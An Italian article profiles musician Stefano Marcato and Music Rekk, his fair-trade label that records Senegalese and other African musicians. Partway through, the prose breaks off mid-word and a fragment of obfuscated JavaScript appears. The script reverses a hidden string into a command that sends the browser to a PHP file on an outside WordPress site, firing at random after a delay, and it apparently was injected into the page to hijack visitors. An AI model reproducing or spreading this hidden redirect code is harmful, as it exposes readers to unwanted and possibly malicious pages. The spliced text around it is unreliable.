L’artista che emigrò in Africa

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Un musicista italiano che “emigra” in Senegal per lavoro? Non c’è solo questo nella storia di Stefano Marcato, che incontriamo al CSA Intifada di Empoli in occasione di una rassegna video sulla musica senegalese. C’è anche la nascita di una passione e la creazione di un progetto che vuole coniugare arte e solidarietà.
“Ho suonato rock da ragazzo come chitarrista“ racconta “poi mi sono lanciato nella sperimentazione, quindi ho studiato musica classica”. Dopo un lungo studio di computer music e una laurea in filologia musicale all’Università di Padova, Stefano aveva iniziato a lavorare come compositore di musica dance. “Per cinque anni sono stato alla Time Records dove ho prodotto circa una cinquantina di pezzi dance commerciali(che mondaccio, che vitaccia, che musicaccia)”.
Poi la svolta, un viaggio e la vita è cambiata.
“In Senegal un’amica aveva una casetta sul mare a Somone… capisci lo stacco fra uno scantinato di Brescia (gli studi della Time) e la capanna sulla spiaggia dove vivono e lavorano i Ndiguel Bamba Touba, questi straordinari musicisti e maestri di vita che ho incontrato praticamente il primo giorno: è stata una vera e propria illuminazione, musicale e spirituale”.Da allora Stefano e sua moglie Vania trascorrono ogni anno sei mesi in Senegal, dedic (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andosi a registrare le performance degli artisti locali.
È nata così l’etichetta indipendente Music Rekk e la sua prima produzione è stata proprio il disco dei Ndiguel Bamba Touba.
Music Rekk significa ‘nient’altro che musica’, ‘soltanto musica’, ‘semplicemente musica’. “L’etichetta offre agli artisti che incontra l’opportunità di registrare gratuitamente il loro repertorio” spiega Stefano.
Per sfuggire allo sfruttamento ed al controllo delle multinazionali Music Rekk è distribuita dalla rete del Commercio Equo e Solidale con l’aiuto della cooperativa La Tortuga. “Come per ogni prodotto del commercio equo viene garantito una sorta di prefinanziamento agli artisti: si è deciso di stampare 1000 copie per ogni CD e la percentuale che spetta agli artisti viene anticipata prima ancora che il CD venga distribuito” dice Stefano “Gli artisti vengono dunque retribuiti sulle copie stampate e non su quelle vendute com’è prassi ricorrente (e penalizzante per gli artisti). Superate le 5.000 copie vendute, per ogni CD vengono versati ulteriori 0.50 euro alla comunità locale per lo sviluppo di progetti legati all’arte. Inoltre i musicisti hanno la proprietà del master per il loro territorio, cosicché possono vendere nel loro paese il cd da noi realizzato senza alcuna mediazione da parte nostra. Music Rekk è solidale anche con l’acquirente: i CD vengono venduti a 8 euro al pubblico, meno della metà rispetto al prezzo di un CD distribuito dalle multinazionali”.
Le incisioni di Music Rekk hanno un loro proprio standard qualitativo: “Gli artisti vengono infatti registrati in presa diretta nei luoghi in cui normalmente si esprimono, al fine di preservare lo spirito che li ispira”. La qualità di registrazione tuttavia è ottima grazie alla lunga esperienza di Stefano, maturata negli studi di Brescia dove utilizzava le più sofisticate tecnologie. In Senegal è sempre accompagnato dal suo fido computer portatile munito di un masterizzatore per potere riversare su CD i suoni catturati nelle sessions africane. “Questo lavoro non l’avrei potuto fare cinque anni fa perché la tecnologia non lo permetteva”.
Oggi il catalogo Music Rekk contiene molti titoli: Ismael e Bass (dall’Africa Occidentale voce, chitarra e djembé per cantare l’amicizia, la pace e l’amore); Bignona (dalla Casamance, nel Senegal Meridionale: “Quando i tamburi si fanno orchestra, dal bugarabu dei djola, alla rumba e soruba mandinghi”); Gnawa (la musica della Lila, la cerimonia di trance gnawa trasportata dal deserto africano al cuore del Marocco); Ndiguel Bamba Touba (canzoni, percussioni e canti spirituali).
Altre informazioni su www.musicrekk.org/
Music Rekk ha anche realizzato un blog sulla musica africana:
http://musicrekk.splinder.com

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